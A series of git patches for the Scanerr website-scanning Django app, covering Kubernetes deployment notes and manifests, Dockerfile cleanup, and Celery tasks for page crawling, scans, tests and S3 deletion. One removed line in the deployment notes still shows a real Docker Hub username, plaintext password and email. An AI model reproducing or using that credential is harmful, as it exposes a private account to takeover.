From 844a4166288b7554ffd55cf641c00a042f4fcd59 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 10 Jun 2023 09:41:10 -0500
Subject: [PATCH 0001/1099] removed extra quote str in cmd

---
 k8s/prod/app-deployment.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index c91eb55a..8e13781f 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -31,7 +31,7 @@ spec:
               python3 manage.py create_admin &&
               python3 manage.py driver_s_test &&
               python3 manage.py driver_p_test &&
-              gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000"
+              gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000
           envFrom:
             - configMapRef:
                 name: app-configs

From c993b9cdd15a3d7d075594cfe9e3a6c66ada9017 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Wed, 14 Jun 2023 21:12:31 -0500
Subject: [PATCH 0002/1099] added k8s prod notes & manifests

---
 k8s/kubernetes-notes.md         | 47 +++++++++++++++++++++++++++++++--
 k8s/prod/app-cert-issuer.yaml   | 19 +++++++++++++
 k8s/prod/app-deployment.yaml    | 40 ++++++++++++++--------------
 k8s/prod/app-ingress.yaml       | 23 ++++++++++++++++
 k8s/prod/celery-deployment.yaml |  6 +++--
 5 files changed, 111 insertions(+), 24 deletions(-)
 create mode 100644 k8s/prod/app-cert-issuer.yaml
 create mode 100644 k8s/prod/app-ingress.yaml

diff --git a/k8s/kubernetes-notes.md b/k8s/kubernetes-notes.md
index 336cb823..e0c92da2 100644
--- a/k8s/kubernetes-notes.md
+++ b/k8s/kubernetes-notes.md
@@ -62,7 +62,7 @@ kubectl port-forward service/app-service 8000:8000
 1. ensure minikube is running
    - ``` minikube status ``` 
 2. create secrets for app image pull from docker
-   - ``` kubectl create secret docker-registry regcred --docker-server=https://index.docker.io/v1/ --docker-username=landonr --docker-password=Ljr500103! --docker-email=l.rodden52@gmail.com ```
+   - ``` kubectl create secret docker-registry regcred --docker-server=https://index.docker.io/v1/ --docker-username=<username> --docker-password=<password> --docker-email=<email> ```
 3. build db-configs-configs 
    - ``` kubectl apply db-configs.yaml ``` 
 4. build db-deployment
@@ -81,4 +81,47 @@ kubectl port-forward service/app-service 8000:8000
 11. port forwarding to app deployment
    -  ``` kubectl port-forward service/app-service 8000:8000 ```
 
-      
\ No newline at end of file
+      
+
+## Setps to Deploy Remotly
+
+
+### 1. Create docker secrets  
+- `kubectl $scanerrk8s create secret docker-registry regcred --docker-server=https://index.docker.io/v1/ --docker-username=<username> --docker-password=<password> --docker-email=<email>` 
+
+
+### 1. Build Dockerfile into image
+- `docker build . -t landonr/scanerr-server:latest`
+- `docker image push landonr/scanerr-server:latest`
+
+
+### 2. Install nginx ingress controler on cluster
+`kubectl $scanerrk8s apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.1.1/deploy/static/provider/do/deploy.yaml`
+
+
+### 3. Spin Scanerr deployments and services
+- `kubectl $scanerrk8s apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-configs.yaml`
+- `kubectl $scanerrk8s apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/redis-deployment.yaml`
+- `kubectl $scanerrk8s apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-deployment.yaml`
+
+
+### 4. Add app Ingress
+- `kubectl $scanerrk8s apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-ingress.yaml`
+
+
+### 5. Install cert-manager
+- `kubectl $scanerrk8s apply -f https://github.com/cert-manager/cert-manager/releases/download/v1.12.0/cert-manager.yaml`
+
+
+### 6. Add cert issure
+- `kubectl $scanerrk8s apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-cert-issuer.yaml`
+  
+
+### 7. Update app Ingress for TLS 
+- Uncomment the TLS section, cert-manager.io/cluster-issuer annotation & reapply 
+- `kubectl $scanerrk8s apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-ingress.yaml`
+
+
+### 8. Update ingress-nginx-controler with domain
+- add the below annotation 
+- `service.beta.kubernetes.io/do-loadbalancer-hostname: "api1.scanerr.io"`
\ No newline at end of file
diff --git a/k8s/prod/app-cert-issuer.yaml b/k8s/prod/app-cert-issuer.yaml
new file mode 100644
index 00000000..a209dd61
--- /dev/null
+++ b/k8s/prod/app-cert-issuer.yaml
@@ -0,0 +1,19 @@
+apiVersion: cert-manager.io/v1
+kind: ClusterIssuer
+metadata:
+  name: letsencrypt-nginx
+  namespace: default
+spec:
+  acme:
+    # The ACME server URL
+    server: https://acme-staging-v02.api.letsencrypt.org/directory # https://acme-v02.api.letsencrypt.org/directory
+    # Email address used for ACME registration
+    email: hello@scanerr.io
+    # Name of a secret used to store the ACME account private key
+    privateKeySecretRef:
+      name: letsencrypt-nginx-private-key
+    # Enable the HTTP-01 challenge provider
+    solvers:
+    - http01:
+        ingress:
+          class: nginx
diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index 8e13781f..5c841598 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -2,36 +2,37 @@ apiVersion: apps/v1
 kind: Deployment
 metadata:
   name: app-deployment
+  labels:
+    deployment: app
 spec:
   replicas: 1
   selector:
     matchLabels:
-      app: app
+      app: app-deployment
   template:
     metadata:
       labels:
-        app: app
+        app: app-deployment
     spec:
       imagePullSecrets:
         - name: regcred
       containers:
-        - name: app
+        - name: scanerr-server
           image: landonr/scanerr-server
           imagePullPolicy: IfNotPresent
           ports:
             - containerPort: 8000
-          command:
-            - "sh"
-            - "-c"
-            - >
-              python3 manage.py wait_for_db &&
-              python3 manage.py makemigrations --no-input &&
-              python3 manage.py migrate --no-input &&
-              python3 manage.py collectstatic --no-input &&
-              python3 manage.py create_admin &&
-              python3 manage.py driver_s_test &&
-              python3 manage.py driver_p_test &&
-              gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000
+          command: ["/bin/sh", "-c"]
+          args: 
+            - > 
+                python3 manage.py wait_for_db &&
+                python3 manage.py makemigrations --no-input &&
+                python3 manage.py migrate --no-input &&
+                python3 manage.py collectstatic --no-input &&
+                python3 manage.py create_admin &&
+                python3 manage.py driver_s_test &&
+                python3 manage.py driver_p_test &&
+                gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000
           envFrom:
             - configMapRef:
                 name: app-configs
@@ -51,9 +52,8 @@ metadata:
   name: app-service
 spec:
   selector:
-    app: app
+    app:  app-deployment
   ports:
-    - protocol: TCP
-      port: 8000
-      targetPort: 8000
-  type: NodePort
+  - name: http
+    port: 80
+    targetPort: 8000
diff --git a/k8s/prod/app-ingress.yaml b/k8s/prod/app-ingress.yaml
new file mode 100644
index 00000000..dc192178
--- /dev/null
+++ b/k8s/prod/app-ingress.yaml
@@ -0,0 +1,23 @@
+apiVersion: networking.k8s.io/v1
+kind: Ingress
+metadata:
+  annotations:
+    cert-manager.io/cluster-issuer: letsencrypt-nginx
+  name: app-ingress
+spec:
+  tls:
+    - hosts:
+      - api1.scanerr.io
+      secretName: letsencrypt-nginx
+  rules:
+  - host: api1.scanerr.io
+    http:
+      paths:
+      - backend:
+          service:
+            name: app-service
+            port:
+              number: 80
+        path: /
+        pathType: Prefix
+  ingressClassName: nginx
\ No newline at end of file
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 64ed79e9..9ed7b8e9 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -2,15 +2,17 @@ apiVersion: apps/v1
 kind: Deployment
 metadata:
   name: celery-deployment
+  labels:
+    deployment: celery
 spec:
   replicas: 1
   selector:
     matchLabels:
-      app: celery
+      app: celery-deployment
   template:
     metadata:
       labels:
-        app: celery
+        app: celery-deployment
     spec:
       imagePullSecrets:
         - name: regcred

From fa60527ecb27768bbd9442d964696576b499033d Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Wed, 14 Jun 2023 21:12:42 -0500
Subject: [PATCH 0003/1099] cleaning up

---
 .gitignore              |  4 ----
 Dockerfile              |  4 ++++
 Dockerfile.prod         | 52 -----------------------------------------
 docker-compose.dev.yml  |  2 +-
 docker-compose.prod.yml |  2 +-
 docker-compose.yml      |  2 +-
 6 files changed, 7 insertions(+), 59 deletions(-)
 delete mode 100644 Dockerfile.prod

diff --git a/.gitignore b/.gitignore
index 780009eb..8d7a5fee 100644
--- a/.gitignore
+++ b/.gitignore
@@ -9,14 +9,10 @@ __pycache__
 __pycache__/
 */__pycache__/*
 **/__pycache__/
-server/app/env*
 env/.env.local
 env/.env.dev
 env/.env.prod
 env/.env.prod.db
 app/static*
-Dockerfile.alpine
-Dockerfile.dev1
-Dockerfile.dev3
 app/api/migrations/*_*.py
 k8s/*/*-configs.yaml
diff --git a/Dockerfile b/Dockerfile
index c1f55754..c573adbd 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -16,8 +16,12 @@ RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
 RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
     && npm install -g n && n lts
 
+RUN npm cache clean --force
+
 # increasing allocated memory to node
 RUN export NODE_OPTIONS="--max-old-space-size=4096"
+ENV NODE_OPTIONS=--max_old_space_size=7000
+ENV NODE_OPTIONS="--max-old-space-size=7000"
 
 # installing lighthouse & yellowlabtools
 RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools
diff --git a/Dockerfile.prod b/Dockerfile.prod
deleted file mode 100644
index eb8edf96..00000000
--- a/Dockerfile.prod
+++ /dev/null
@@ -1,52 +0,0 @@
-FROM python:3.9-slim
-ENV PYTHONUNBUFFERED 1
-
-# create the app user
-RUN addgroup --system app && adduser --system app 
-
-# installing python3 & pip
-RUN apt-get update && apt-get install -y python3 python3-pip
-
-# installing system deps
-RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
-    gfortran openssl libpq-dev curl libjpeg-dev chromium chromium-driver \ 
-    libfontconfig git
-
-# installing node and npm
-RUN apt-get update && apt-get install nodejs npm -y  \
-    && npm install -g n && n lts
-
-RUN npm cache clean --force
-
-# increasing allocated memory to node
-# RUN export NODE_OPTIONS="--max-old-space-size=7000" 
-# RUN export NODE_OPTIONS="--stack-size=262000" 
-ENV NODE_OPTIONS=--max_old_space_size=7000
-ENV NODE_OPTIONS="--max-old-space-size=7000"
-# ENV NODE_OPTIONS=--stack-size=262000
-
-# installing lighthouse & yellowlabtools
-RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools
-
-# telling Puppeteer to skip installing Chrome
-ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
-
-# telling phantomas where Chromium binary is and that we're in docker
-ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium
-ENV DOCKERIZED yes
-
-# setting --no-sandbox for Phantomas 
-RUN chromium --no-sandbox --version
-
-# installing requirements
-COPY ./requirements.txt /requirements.txt
-RUN python3 -m pip install -r /requirements.txt
-
-# setting working dir
-RUN mkdir /app
-COPY ./app /app
-WORKDIR /app
-
-# setting ownership
-RUN chown -R app:app /app
-RUN chown -R app:app /usr/bin/chromium
\ No newline at end of file
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index f09772ed..fa01f3a1 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -6,7 +6,7 @@ services:
     init: true
     build:
       context: .
-      dockerfile: Dockerfile.prod
+      dockerfile: Dockerfile
     volumes:
       - ./app:/app
       - static_volume:/app/static
diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml
index cc375e35..da5cd6f8 100644
--- a/docker-compose.prod.yml
+++ b/docker-compose.prod.yml
@@ -7,7 +7,7 @@ services:
     init: true
     build:
       context: .
-      dockerfile: Dockerfile.prod
+      dockerfile: Dockerfile
     # image: landonr/scanerr-server
     volumes:
       - ./app:/app
diff --git a/docker-compose.yml b/docker-compose.yml
index a8f492c0..a80234e6 100644
--- a/docker-compose.yml
+++ b/docker-compose.yml
@@ -7,7 +7,7 @@ services:
     restart: always
     build:
       context: .
-      dockerfile: Dockerfile.prod
+      dockerfile: Dockerfile
     # image: landonr/scanerr-server
     ports:
       - "8000:8000"

From 37044b67b42be729cd90c7a411f018be0928000e Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Thu, 20 Jul 2023 13:05:29 -0500
Subject: [PATCH 0004/1099] rolling out version 1.1.0

---
 app/api/admin.py               |   17 +-
 app/api/models.py              |   57 +-
 app/api/tasks.py               |  316 +++++-
 app/api/utils/alerts.py        |   65 +-
 app/api/utils/crawler.py       |   53 +
 app/api/utils/image.py         |  144 ++-
 app/api/utils/lighthouse.py    |    8 +-
 app/api/utils/reporter.py      |   42 +-
 app/api/utils/scanner.py       |  259 +++--
 app/api/utils/tester.py        |   31 +-
 app/api/utils/yellowlab.py     |    8 +-
 app/api/v1/auth/alerts.py      |    3 +
 app/api/v1/auth/serializers.py |    2 +-
 app/api/v1/auth/services.py    |    7 +-
 app/api/v1/billing/urls.py     |    1 +
 app/api/v1/billing/views.py    |   41 +-
 app/api/v1/ops/serializers.py  |   33 +-
 app/api/v1/ops/services.py     | 1656 +++++++++++++++++++++++---------
 app/api/v1/ops/tasks.py        |   40 +-
 app/api/v1/ops/urls.py         |    8 +
 app/api/v1/ops/views.py        |   98 ++
 docker-compose.dev.yml         |    4 +-
 docker-compose.prod.yml        |    4 +-
 docker-compose.yml             |    6 +-
 requirements.txt               |    5 +-
 25 files changed, 2262 insertions(+), 646 deletions(-)
 create mode 100644 app/api/utils/crawler.py

diff --git a/app/api/admin.py b/app/api/admin.py
index 16e08a0b..253bc7ec 100644
--- a/app/api/admin.py
+++ b/app/api/admin.py
@@ -5,20 +5,27 @@
 
 @admin.register(Site)
 class SiteAdmin(admin.ModelAdmin):
-    list_display = ('site_url', 'user', 'time_created')
+    list_display = ('site_url', 'account', 'time_created')
     search_fields = ('site_url',)
 
 
+
+@admin.register(Page)
+class SiteAdmin(admin.ModelAdmin):
+    list_display = ('page_url', 'account', 'time_created')
+    search_fields = ('page_url',)
+
+
 @admin.register(Test)
 class TestAdmin(admin.ModelAdmin):
-    list_display = ('id', 'site', 'time_created', 'time_completed', 'type')
-    search_fields = ('site',)
+    list_display = ('id', 'page', 'time_created', 'time_completed', 'type')
+    search_fields = ('page',)
 
 
 @admin.register(Scan)
 class ScanAdmin(admin.ModelAdmin):
-    list_display = ('id', 'site', 'time_created', 'time_completed')
-    search_fields = ('site',)
+    list_display = ('id', 'page', 'time_created', 'time_completed')
+    search_fields = ('page',)
     actions = ['mark_as_completed',]
 
     def mark_as_completed(self, request, queryset):
diff --git a/app/api/models.py b/app/api/models.py
index 72e5b54d..9ef6882d 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -53,6 +53,31 @@ def get_info_default():
 
 
 
+
+
+def get_small_info_default():
+    info_default = {
+            'latest_scan': {
+                'id': None,
+                'time_created': None,
+                'time_completed': None,
+            },
+            'latest_test': {
+                'id': None,
+                'time_created': None,
+                'time_completed': None,
+                'score': None
+            },
+            'status': {
+                'health': None,
+                'badge': 'neutral',
+                'score': None,
+            },
+        }
+    return info_default
+
+
+
 def get_lh_delta_default():
     lh_delta_default = {
         "scores": {
@@ -239,10 +264,12 @@ class Account(models.Model):
     type = models.CharField(max_length=1000, serialize=True, null=True, blank=True, default='free')
     code = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     max_sites = models.IntegerField(serialize=True, null=True, blank=True, default=1)
+    max_pages = models.IntegerField(serialize=True, null=True, blank=True, default=25)
     cust_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     sub_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     product_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     price_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
+    price_amount = models.IntegerField(serialize=True, null=True, blank=True, default=0)
     slack = models.JSONField(serialize=True, null=True, blank=True, default=get_slack_default)
 
     def __str__(self):
@@ -289,7 +316,7 @@ class Site(models.Model):
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
     user = models.ForeignKey(User, on_delete=models.SET_NULL, serialize=True, null=True, blank=True)
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
-    info = models.JSONField(serialize=True, null=True, blank=True, default=get_info_default)
+    info = models.JSONField(serialize=True, null=True, blank=True, default=get_small_info_default)
     tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default)
 
     def __str__(self):
@@ -297,9 +324,25 @@ def __str__(self):
 
 
 
+class Page(models.Model):
+    id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
+    site = models.ForeignKey(Site, on_delete=models.CASCADE, serialize=True, blank=True)
+    page_url = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
+    time_created = models.DateTimeField(default=timezone.now, serialize=True)
+    user = models.ForeignKey(User, on_delete=models.SET_NULL, serialize=True, null=True, blank=True)
+    account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
+    info = models.JSONField(serialize=True, null=True, blank=True, default=get_info_default)
+    tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default)
+
+    def __str__(self):
+        return f'{self.page_url}'
+
+
+
 class Scan(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     site = models.ForeignKey(Site, on_delete=models.CASCADE, serialize=True, blank=True)
+    page = models.ForeignKey(Page, on_delete=models.CASCADE, serialize=True, blank=True)
     paired_scan = models.ForeignKey('self', on_delete=models.SET_NULL, serialize=True, null=True, blank=True)
     type = models.JSONField(serialize=True, null=True, blank=True)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
@@ -320,6 +363,7 @@ def __str__(self):
 class Test(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     site = models.ForeignKey(Site, on_delete=models.CASCADE, serialize=True)
+    page = models.ForeignKey(Page, on_delete=models.CASCADE, serialize=True, blank=True)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
     time_completed = models.DateTimeField(serialize=True, null=True, blank=True)
     type = models.JSONField(serialize=True, null=True, blank=True)
@@ -345,6 +389,7 @@ def __str__(self):
 class Schedule(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
+    page = models.ForeignKey(Page, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
     automation = models.ForeignKey('Automation', on_delete=models.SET_NULL, null=True, blank=True, serialize=True, related_name='assoc_auto')
     time_created = models.DateTimeField(default=datetime.now, null=True, blank=True, serialize=True)
     user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
@@ -361,7 +406,14 @@ class Schedule(models.Model):
     extras = models.JSONField(serialize=True, null=True, blank=True)
 
     def __str__(self):
-        return f'{self.site.site_url}__{self.task_type}'
+        if self.site is not None:
+            url = self.site.site_url
+            level = 'site'
+        if self.page is not None:
+            url = self.page.site.site_url
+            level = 'page'
+
+        return f'{url}_{self.task_type}_{level}'
 
 
 
@@ -386,6 +438,7 @@ def __str__(self):
 class Report(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
+    page = models.ForeignKey(Page, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
     user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
diff --git a/app/api/tasks.py b/app/api/tasks.py
index d242b559..ee5cccad 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -3,19 +3,22 @@
 from celery.utils.log import get_task_logger
 from celery import shared_task
 from celery import Task as BaseTask
+from .utils.crawler import Crawler
 from .v1.ops.tasks import (
     create_site_task, create_scan_task, run_html_and_logs_task,
     run_vrt_task, run_lighthouse_task, run_yellowlab_task, 
     create_test_task, create_report_task, delete_report_s3,
     delete_site_s3, create_testcase_task, migrate_site_task,
     delete_testcase_s3,
-    
 )
-from .models import Log
+from .models import *
 from django.contrib.auth.models import User
 from .utils.driver_p import driver_test
+from .v1.auth.alerts import send_invite_link, send_remove_alert
 from asgiref.sync import async_to_sync
-import asyncio
+import asyncio, boto3
+from datetime import datetime, timedelta, date
+from scanerr import settings
 
 
 logger = get_task_logger(__name__)
@@ -35,11 +38,112 @@ def create_site_bg(site_id=None, scan_id=None, configs=None, *args, **kwargs):
     logger.info('Created scan of new site')
 
 
+
+@shared_task
+def create_site_and_pages_bg(site_id=None, configs=None, *args, **kwargs):
+    site = Site.objects.get(id=site_id)
+    # crawl site 
+    pages = Crawler(url=site.site_url, max_urls=site.account.max_pages).get_links()
+    for url in pages:
+        # add new page
+        page = Page.objects.create(
+            site=site,
+            page_url=url,
+            user=site.user,
+            account=site.account,
+        )
+        # create initial scan
+        scan = Scan.objects.create(
+            site=site,
+            page=page, 
+            type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
+            configs=configs
+        )
+        # run each scan component in parallel
+        run_html_and_logs_bg.delay(scan_id=scan.id)
+        run_lighthouse_bg.delay(scan_id=scan.id)
+        run_yellowlab_bg.delay(scan_id=scan.id)
+        run_vrt_bg.delay(scan_id=scan.id)
+        page.info["latest_scan"]["id"] = str(scan.id)
+        page.info["latest_scan"]["time_created"] = str(scan.time_created)
+        page.save()
+
+
+    logger.info('Added site and all pages')
+
+
+
+
+@shared_task
+def crawl_site_bg(site_id=None, configs=None, *args, **kwargs):
+    site = Site.objects.get(id=site_id)
+    old_pages = Page.objects.filter(site=site)
+    old_urls = []
+    for p in old_pages:
+        old_urls.append(p.page_url)
+
+    # crawl site 
+    new_pages = Crawler(url=site.site_url, max_urls=site.account.max_pages).get_links()
+    add_pages = []
+
+    # checking if allowed to add new page
+    for page in new_pages:
+        if not page in old_urls and (len(add_pages) + len(old_urls) <= site.account.max_pages):
+            add_pages.append(page)
+        
+    for url in add_pages:
+        # add new page
+        page = Page.objects.create(
+            site=site,
+            page_url=url,
+            user=site.user,
+            account=site.account,
+        )
+        # create initial scan
+        scan = Scan.objects.create(
+            site=site,
+            page=page, 
+            type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
+            configs=configs
+        )
+        # run each scan component in parallel
+        run_html_and_logs_bg.delay(scan_id=scan.id)
+        run_lighthouse_bg.delay(scan_id=scan.id)
+        run_yellowlab_bg.delay(scan_id=scan.id)
+        run_vrt_bg.delay(scan_id=scan.id)
+        page.info["latest_scan"]["id"] = str(scan.id)
+        page.info["latest_scan"]["time_created"] = str(scan.time_created)
+        page.save()
+
+
+    logger.info('crawled site and added pages')
+
+
+
+
+@shared_task
+def scan_page_bg(scan_id=None, configs=None, *args, **kwargs):
+    scan = Scan.objects.get(id=scan_id)
+    
+    # run each scan component in parallel
+    if 'html' in scan.type or 'logs' in scan.type or 'full' in scan.type:
+        run_html_and_logs_bg.delay(scan_id=scan.id)
+    if 'lighthouse' in scan.type or 'full' in scan.type:
+        run_lighthouse_bg.delay(scan_id=scan.id)
+    if 'yellowlab' in scan.type or 'full' in scan.type:
+        run_yellowlab_bg.delay(scan_id=scan.id)
+    if 'vrt' in scan.type or 'full' in scan.type:
+        run_vrt_bg.delay(scan_id=scan.id)
+
+    logger.info('Added site and all pages')
+
+
+
 @shared_task
-def create_scan_bg(
+def _create_scan(
         scan_id=None,
-        site_id=None, 
-        type=['full'],
+        page_id=None, 
+        type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
         automation_id=None, 
         configs=None,
         tags=None,
@@ -48,7 +152,7 @@ def create_scan_bg(
     ):
     create_scan_task(
         scan_id, 
-        site_id,
+        page_id,
         type,
         automation_id, 
         configs,
@@ -58,6 +162,33 @@ def create_scan_bg(
 
 
 
+@shared_task
+def create_scan_bg(*args, **kwargs):
+    # get data
+    site_id = kwargs.get('site_id')
+    page_id = kwargs.get('page_id')
+    type = kwargs.get('type')
+    configs = kwargs.get('configs')
+    tags = kwargs.get('tags')
+    automation_id = kwargs.get('automation_id')
+
+    if site_id is not None:
+        site = Site.objects.get(id=site_id)
+        pages = Page.objects.filter(site=site)
+    if page_id is not None:
+        pages = [Page.objects.get(id=page_id)]
+
+    for page in pages:
+        _create_scan.delay(
+            page_id=page.id,
+            type=type,
+            configs=configs,
+            tags=tags,
+            automation_id=automation_id
+        )
+    
+
+
 
 @shared_task
 def run_html_and_logs_bg(scan_id=None, *args, **kwargs):
@@ -86,12 +217,12 @@ def run_yellowlab_bg(scan_id=None, *args, **kwargs):
 
 
 @shared_task
-def create_test_bg(
+def _create_test(
         test_id=None,
-        site_id=None, 
+        page_id=None, 
         automation_id=None, 
         configs=None, 
-        type=['full'],
+        type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
         index=None,
         pre_scan=None,
         post_scan=None,
@@ -101,7 +232,7 @@ def create_test_bg(
     ):
     create_test_task(
         test_id,
-        site_id, 
+        page_id, 
         automation_id, 
         configs, 
         type,
@@ -110,12 +241,75 @@ def create_test_bg(
         post_scan,
         tags
     )
-    logger.info('Created new test of site')
+    logger.info('Created new test of page')
+
+
+
+@shared_task
+def create_test_bg(*args, **kwargs):
+    # get data
+    site_id = kwargs.get('site_id')
+    page_id = kwargs.get('page_id')
+    test_id = kwargs.get('test_id')
+    type = kwargs.get('type')
+    configs = kwargs.get('configs')
+    tags = kwargs.get('tags')
+    automation_id = kwargs.get('automation_id')
+
+    if test_id is None:
+        if site_id is not None:
+            site = Site.objects.get(id=site_id)
+            pages = Page.objects.filter(site=site)
+        if page_id is not None:
+            p = Page.objects.get(id=page_id)
+            pages = [p]
+
+        for page in pages:
+            _create_test.delay(
+                page_id=page.id,
+                type=type,
+                configs=configs,
+                tags=tags,
+                automation_id=automation_id
+            )
+    
+    if test_id is not None:
+        test = Test.objects.get(id=test_id)
+        _create_test.delay(
+            test_id=test_id,
+            page_id=test.page.id,
+            type=type,
+            configs=configs,
+            tags=tags,
+            automation_id=automation_id
+        )
+
+
+
+@shared_task
+def _create_report(page_id=None, automation_id=None, *args, **kwargs):
+    create_report_task(page_id, automation_id)
+    logger.info('Created new report of page')
+
 
 @shared_task
-def create_report_bg(site_id=None, automation_id=None, *args, **kwargs):
-    create_report_task(site_id, automation_id)
-    logger.info('Created new report of site')
+def create_report_bg(*args, **kwargs):
+    # get data
+    site_id = kwargs.get('site_id')
+    page_id = kwargs.get('page_id')
+    automation_id = kwargs.get('automation_id')
+
+    if site_id is not None:
+        site = Site.objects.get(id=site_id)
+        pages = Page.objects.filter(site=site)
+    if page_id is not None:
+        pages = [Page.objects.get(id=page_id)]
+
+    for page in pages:
+        _create_report.delay(
+            page_id=page.id,
+            automation_id=automation_id
+        )
 
 
 @shared_task
@@ -124,6 +318,60 @@ def delete_site_s3_bg(site_id, *args, **kwargs):
     logger.info('Deleted site s3 objects')
 
 
+@shared_task
+def delete_page_s3_bg(page_id, site_id, *args, **kwargs):
+    # setup boto3 configurations
+    s3 = boto3.resource('s3', 
+        aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+        region_name=str(settings.AWS_S3_REGION_NAME),
+        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+    )
+    # deleting s3 objects
+    try:
+        bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
+        bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/{page_id}/')).delete()
+    except:
+        pass
+    return
+
+@shared_task
+def delete_scan_s3_bg(scan_id, site_id, page_id):
+    # setup boto3 configurations
+    s3 = boto3.resource('s3', 
+        aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+        region_name=str(settings.AWS_S3_REGION_NAME), 
+        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+    )
+    # deleting s3 objects
+    try:
+        bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
+        bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/{page_id}/{scan_id}/')).delete()
+    except:
+        pass
+    return
+    
+
+@shared_task
+def delete_test_s3_bg(test_id, site_id, page_id):
+    # setup boto3 configurations
+    s3 = boto3.resource('s3', 
+        aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+        region_name=str(settings.AWS_S3_REGION_NAME), 
+        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+    )
+    # deleting s3 objects
+    try:
+        bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
+        bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/{page_id}/{test_id}/')).delete()
+    except:
+        pass
+    return
+
+
+
 @shared_task
 def delete_testcase_s3_bg(testcase_id, *args, **kwargs):
     delete_testcase_s3(testcase_id)
@@ -165,6 +413,28 @@ def create_testcase_bg(
 
 
 
+@shared_task
